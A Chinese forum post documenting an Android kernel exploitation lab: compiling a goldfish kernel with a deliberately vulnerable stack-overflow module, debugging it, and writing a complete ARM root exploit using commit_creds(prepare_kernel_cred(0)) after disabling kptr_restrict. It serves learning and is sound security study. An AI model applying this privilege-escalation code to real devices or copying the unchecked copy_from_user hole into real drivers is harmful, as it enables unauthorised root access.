12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
查看: 471|回复: 0

android内核漏洞利用过程学习

[复制链接]

52

主题

52

帖子

114

积分

实习版主

Rank: 7Rank: 7Rank: 7

积分
114
发表于 2019-8-20 11:21:26 | 显示全部楼层 |阅读模式
本次实验旨在还原android内核利用及root环境搭建的基本过程,腾讯一个实验室讲过,我把自己在重建过程中的遇到坑记录一下。方便自己和初学者参考。环境在Ubuntu17。
一、简介
         1.下载内核代码,交叉编译环境(还原漏洞内核)重新编译
         2.搭建模拟器环境和调试环境,实现编译加载内核以及调试加载符号链接
         3.分析漏洞成因
         4.利用漏洞编写exp实现root
二、实现详情
        2.1、下载内核代码,交叉编译环境(还原漏洞内核)重新编译
        我们查看一下模拟器内核版本cat  /proc/cpuinfo

可以看到我们需要goldfish的内核,利用国内的镜像下载,谷歌的上不去,下载goldfish内核。

      git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git  
      $ cd goldfish/  
      # 查看可以下载的Linux内核源码的版本      
$ git branch -a      
* master        
remotes/origin/HEAD -> origin/master      
remotes/origin/android-3.10        
remotes/origin/android-3.18        
remotes/origin/android-goldfish-2.6.29        
remotes/origin/android-goldfish-3.10        
remotes/origin/android-goldfish-3.10-l-mr1-dev        
remotes/origin/android-goldfish-3.10-m-dev        
remotes/origin/android-goldfish-3.10-n-dev        
remotes/origin/android-goldfish-3.18        
remotes/origin/android-goldfish-3.18-dev        
remotes/origin/android-goldfish-3.4        
remotes/origin/android-goldfish-3.4-l-mr1-dev        
remotes/origin/android-goldfish-4.4-dev        
remotes/origin/heads/for/android-goldfish-3.18-dev        
remotes/origin/linux-goldfish-3.0-wip        
remotes/origin/master            
# 选择下载android-goldfish-3.4的内核源码      
$ git checkout remotes/origin/android-goldfish-3.4  
# 下载编译工具链            
$ git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.7        
             创建文件 run_make_config.sh如下:      
export CROSS_COMPILE=$(pwd)/arm-eabi-4.7/bin/arm-eabi-         
export ARCH=arm      
export SUBARCH=arm               
# 生成编译配置文件      
make goldfish_armv7_defconfig                  
赋予权限      
$ chmod +x run_make_config.sh        
$ source run_make_config.sh        
上述操作均在goldfish目录,否则报错            
修改生成的Android内核编译配置文件.config,增加Android内核编译的config选项。默认的 make goldfish_armv7_defconfig 配置没有打开调试选项,也没有使用HIGHMEM等选项,因此为了使用 kgdb 调试Android内核必须增加这些选项。这里手动打开goldfish/.config文件,增加调试相关的选项配置。      
1.    # 打开Android内核编译的配置文件        
2.    $ gedit .config        增加的编译配置选项:      
1.    # 设置模拟器的运行内存-可选参数        
2.    CONFIG_HIGHMEM=y         
3.           
4.    CONFIG_DEBUG_KERNEL=y         
5.    CONFIG_KGDB=y         
6.    CONFIG_DEBUG_INFO=y        
7.            
8.    # 真机设备调试需要设置这一项,模拟器不需要        
9.    #CONFIG_KGDB_SERIAL_CONSOLE=y        
10.      
11.# 可以是直接在配置文件中去掉这一项        
12.CONFIG_DEBUG_RODATA=n        
上面修改.config完成以后,保存和关闭.config文件,然后执行下面的命令进行Android内核源码的编译。由于前面修改Android内核编译配置时,增加了几个配置,因此编译一开始会有提示让选择配置选项,记得相关的配置全部选 y 就可以了。Android内核编译完成后,goldfish/arch/arm/boot/zImage文件出现,这个文件就是Android内核文件了。      
以下是编译一个漏洞进内核:      
下载github上的一个 安卓漏洞利用的项目, git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges      
然后使用项目中的patch文件把 patch 内核编译配置,来把项目中的带漏洞的模块编译进linux内核      
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities      
这一步要在生成.config之后,如果早了命令会出错。      $ make -j4  
·  # 启动运行创建的Android模拟器Debug_Kernel        ·
$ emulator -avd Debug_Kernel -gpu mesa        命令行启动一下,可以的话关掉。     
$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage  -gpu mesa -qemu -s -S      
调试内核一般不需要显示图形界面和声音,因此增加启动选项 -no-window, no-audio ,增加 -verbose -show-kernel 选项 可以看到内核的详细输出信息,-kernel 选项 指定加载的内核镜像文件为前面编译的Android内核镜像文件,增加 -qemu -s -S 选项 启动调试监听即Android内核启动以后会监听端口 1234 ,暂停等待调试,这时需要打开另一个命令终端运行 gdb 程序,对Android内核进行调试,还可以增加 -memory 2048 选项 设置运行的内存大小,增加运行内存使调试运行更流畅。
       2.2、搭建模拟器环境和调试环境,实现加载编译内核以及加载调试符号链接
默认有java的执行环境,自行安装sdk,并下载API19.这里有一个不用换源就能用的linux下的android sdk http://tools.android-studio.org/index.php/sdk/)      使用 android create avd 命令,创建Android模拟器Debug_Kernel的示例,如下:
# 查看本地下载的Android SDK  
$ android list targets           
# 创建Android模拟器 Debug_Kernel  
$ android create avd -n Debug_Kernel -t android-19 -b default/armeabi-v7a -s HVGA  
Android API 19的Android模拟器 Debug_Kernel 创建成功以后,
使用下面的命令检查新创建的Android模拟器 Debug_Kernel 能否正常启动成功。
# 查看已经创建的Android模拟器
$ emulator -list-avds     
# 启动运行创建的Android模拟器Debug_Kernel  
$ emulator -avd Debug_Kernel -gpu mesa


$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage  -gpu mesa -qemu -s -S
其实Android模拟器 emulator 就是 基于qemu虚拟机 开发的,因此Android模拟器 emulator 在运行的时候也支持qemu虚拟机的命令,在上面以 调试模式启动 Android虚拟机 Debug_Kernel 时使用的启动选项 -qemu -s -S的作用,可以参考命令行的帮助,如下图:
配置交叉编译环境变量  
# 编辑环境变量配置文件      
$ sudo gedit /etc/profile              
# 添加到环境变量配置文件/etc/profile中的内容      
export ANDROID_TOOLCHAIN=/home/fly2016/Android4.4.4r1/goldfish-kernel-3.4/goldfish/arm-eabi-4.7     
export PATH=$PATH:${ANDROID_TOOLCHAIN}/bin/      
# 更新系统环境变量     
$ source /etc/profile         
# 测试是否配置成功      
$ arm-eabi-gdb  

OK,arm-eabi-gdb 工具的问题解决了,
下面在Android内核源码的根目录下,执行下面的命令进行Android内核的源码调试:
# 在Android内核源码的根目录下执行   
# 加载内核符号信息   
$ arm-eabi-gdb vmlinux         
# 连接远端的调试器   
$ target remote :1234         
# 测试命令   
$ list           
$ n  
$ arm-eabi-gdb --help

  2.3.分析漏洞成因      
首先看看漏洞代码, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
代码会创建/proc/stack_buffer_overflow 设备文件 ,当向该设备文件调用 write 系统调用时会调用 proc_entry_write 函数进行处理。漏洞显而易见,在 proc_entry_write 函数中 定义了一个 64 字节大小的栈缓冲区 buf, 然后使用 copy_from_user(&buf, ubuf, count) 从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 shellcode 中 进行提权。
#include
#include
#include
#include
#include
#include
#define MAX_LENGTH 64
MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Ryan Welton&quot;);
MODULE_DESCRIPTION(&quot;Stack Buffer Overflow Example&quot;);
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO &quot;stackBufferProcEntry: error copying data from userspace\n&quot;);
        return -EFAULT;
    }
    return count;
}
static int __init stack_buffer_proc_init(void)
{
    stack_buffer_proc_entry = create_proc_entry(&quot;stack_buffer_overflow&quot;, 0666, NULL);
    stack_buffer_proc_entry->write_proc = proc_entry_write;
    printk(KERN_INFO &quot;created /proc/stack_buffer_overflow\n&quot;);
    return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
    if (stack_buffer_proc_entry) {
        remove_proc_entry(&quot;stack_buffer_overflow&quot;, stack_buffer_proc_entry);
    }
    printk(KERN_INFO &quot;vuln_stack_proc_entry removed\n&quot;);
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);

首先我们来试试触发漏洞。先把模拟器打开,然后 adb shell 进入模拟器,使用  echo 命令向 /proc/stack_buffer_overflow 设备输入72字节的数据。   
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >  /proc/stack_buffer_overflow可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ,所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单,内核态调用  commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 然后返回 用户态 执行 execl(&quot;/system/bin/sh&quot;, &quot;sh&quot;, NULL); 起一个 root 权限的 shell, 完成提权。下面先获取 prepare_kernel_cred 和 commit_creds 函数的地址。在 /proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中,为了使利用内核漏洞变得更加困难,linux内核目前禁止一般用户获取符号。

       当启用 kptr_restrict 时我们不能获取内核符号地址的。这里的地址每次开机都会改变,我们先忽略这个随机过程,直接硬编码。

root@generic:/ # cat /proc/kallsyms | grep commit_creds                        
00000000 T commit_creds
在本文中,把它禁用掉,不管他。

root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict      
echo 1 > /proc/sys/kernel/kptr_restrict                 
root@generic:/ # cat /proc/kallsyms | grep commit_creds                        
c0039834 T commit_creds

root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred                 
c0039d34 T prepare_kernel_cred
c003a85c T prepare_kernel_cred   //myaddress
禁用掉之后,我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。

至此,提权的问题解决了,下面就是要回到用户态,在x86平台有 iret指令可以回到用户态,在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的 M[4:0] 位用来表示 处理器的运行模式,具体可以看这个。所以我们把 cpsr 寄存器的 M[4:0] 位设置为 10000后就表示 处理器进入了用户模式。
2.4.利用漏洞编写exp实现root
所以现在的利用思路是:
1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限
      为什么这里能提权,我说一下。其实这个和linux的权限管理过程有关。linux用户一般开启root直接都是su一下,输入密码就可以。android使用linux的内核,但android默认的用户没有root,被系统函数给降权了。怎么才能提权呢?其实只要找一个权限较高的进程让他set uid 、gid为0,那么用户自然就变成了root。本来想找一下这里的源码看一下,不过好像没必要。这里的函数应该就是实现类似的功能。如果没有高权限的进程设置uid、gid,提权一般是不可能了。
2.调用 mov r3, #0x40000010;   MSR    CPSR_c,R3; 设置 cpsr寄存器,使cpu进入用户模式
3.然后执行 execl(&quot;/system/bin/sh&quot;, &quot;sh&quot;, NULL); 起一个 root 权限的 shell

最后的 exp :
#include
#include
#include
#include
#include
#define MAX             64
int open_file(void)
{
        int fd = open(&quot;/proc/stack_buffer_overflow&quot;, O_RDWR);
        if (fd == -1)
                err(1, &quot;open&quot;);
        return fd;
}
void payload(void)
{
                printf(&quot;[+] enjoy the shell\n&quot;);
                execl(&quot;/system/bin/sh&quot;, &quot;sh&quot;, NULL);
}
extern uint32_t shellCode[];
asm
(
&quot;    .text\n&quot;
&quot;    .align 2\n&quot;
&quot;    .code 32\n&quot;
&quot;    .globl shellCode\n\t&quot;
&quot;shellCode:\n\t&quot;
// commit_creds(prepare_kernel_cred(0));
// -> get root
&quot;LDR     R3, =0xc0039d34\n\t&quot;   //prepare_kernel_cred addr
&quot;MOV     R0, #0\n\t&quot;
&quot;BLX     R3\n\t&quot;
&quot;LDR     R3, =0xc0039834\n\t&quot;   //commit_creds addr
&quot;BLX     R3\n\t&quot;
&quot;mov r3, #0x40000010\n\t&quot;
&quot;MSR    CPSR_c,R3\n\t&quot;
&quot;LDR     R3, =0x879c\n\t&quot;     // payload function addr
&quot;BLX     R3\n\t&quot;
);
void trigger_vuln(int fd)
{
        #define MAX_PAYLOAD (MAX + 2  * sizeof(void*) )
        char buf[MAX_PAYLOAD];
        memset(buf, 'A', sizeof(buf));
        void * pc = buf + MAX +  1 * sizeof(void*);
        printf(&quot;shellcdoe addr: %p\n&quot;, shellCode);
        printf(&quot;payload:%p\n&quot;, payload);
        *(void **)pc  = (void *) shellCode;   //ret addr
        /* Kaboom! */
        write(fd, buf, sizeof(buf) );
}
int main(void)
{
        int fd;
        fd = open_file();
        trigger_vuln(fd);
        payload();
        close(fd);
}

简单的说就是在用户态建立设置UID和gid为0的代码,使用溢出令内核态的代码跳转到用户态构造好的提权代码进行提权。
当然如果直接在用户态执行提权代码权限是不够的。
arm-linux-androideabi-gcc exp.c -o exp
将编译好的文件放到模拟器任意目录执行即可
     
对于编译一个基于某些依赖库的程序,而这些依赖库在Android系统中已经有时,最简便的方法是找到它的头文件(有的头文件交叉便器的include中没有),然后再从Android系统中拷贝出相应的.so文件,用交叉编译器或者ndk-build编译即可。
arm-linux-androideabi-gcc -I[头文件目录] -L[动态库位置] filename.c -o filename

或者编写Android.mk文件,利用ndk-build.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := client_android
LOCAL_SRC_FILES := client.c
LOCAL_CFLAGS += -I/home/wwtao/Desktop/bluetooth/include/include
LOCAL_LDLIBS += -L/home/wwtao/Desktop/bluetooth/libfrompanda -lbluetooth
include $(BUILD_EXECUTABLE)
#include $(BUILD_STATIC_LIBRARY)
#include $(BUILD_SHARED_LIBRARY)

其中,LOCAL_PATH := $(call my-dir) 设置LOCAL_PATH为当前了路径
include $(CLEAR_VARS)是清空当前的变量
LOCAL_MODULE 是编译后生成的文件名
LOCAL_SRC_FILES 是编译的源文件
LOCAL_CFLAGS 是设置编译时的头文件搜索路径
LOCAL_LDLIBS 是设置编译时搜索动态链接库的路径
include $(BUILD_EXECUTABLE) 是生成可执行文件,如果是BUILD_STATIC_LIBRARY是生成静态库,如果是BUILD_SHARED_LIBRARY。

如果出现   
Unable to auto-config arch from toolchain
这是说无法自动配置 toolchain,需要手动配置.先看看你的ndk支持编译哪些cpu  
oldfeel@oldfeel:~/android-ndk$ ls toolchains/
aarch64-linux-android-4.9        mipsel-linux-android-4.8
aarch64-linux-android-clang3.4   mipsel-linux-android-4.9
aarch64-linux-android-clang3.5   mipsel-linux-android-clang3.4
arm-linux-androideabi-4.6        mipsel-linux-android-clang3.5
arm-linux-androideabi-4.8        renderscript
arm-linux-androideabi-4.9        x86-4.6
arm-linux-androideabi-clang3.4   x86-4.8
arm-linux-androideabi-clang3.5   x86-4.9
llvm-3.4                         x86_64-4.9
llvm-3.5                         x86_64-clang3.4
mips64el-linux-android-4.9       x86_64-clang3.5
mips64el-linux-android-clang3.4  x86-clang3.4
mips64el-linux-android-clang3.5  x86-clang3.5
mipsel-linux-android-4.6

编辑 make-standalone-toolchain.sh,找到并修改 TOOLCHAIN_NAME= 为
   
vim build/tools/make-standalone-toolchain.sh
三、总结

我这里adb shell进入android默认就是root权限
$id
uid(0)root pid(0)root
这让我觉得本次实验好像有点蹩脚。不管怎样历经了很多莫名的错误和奔溃终于实现了。我感觉调试内核千万要用linux的系统,windows下各种神奇的错误,简直怀疑人生了。

参考:
http://www.360zhijia.com/360anquanke/288826.html      
http://blog.csdn.net/qq1084283172/article/details/        

   
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-5-15 04:34 , Processed in 0.109375 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表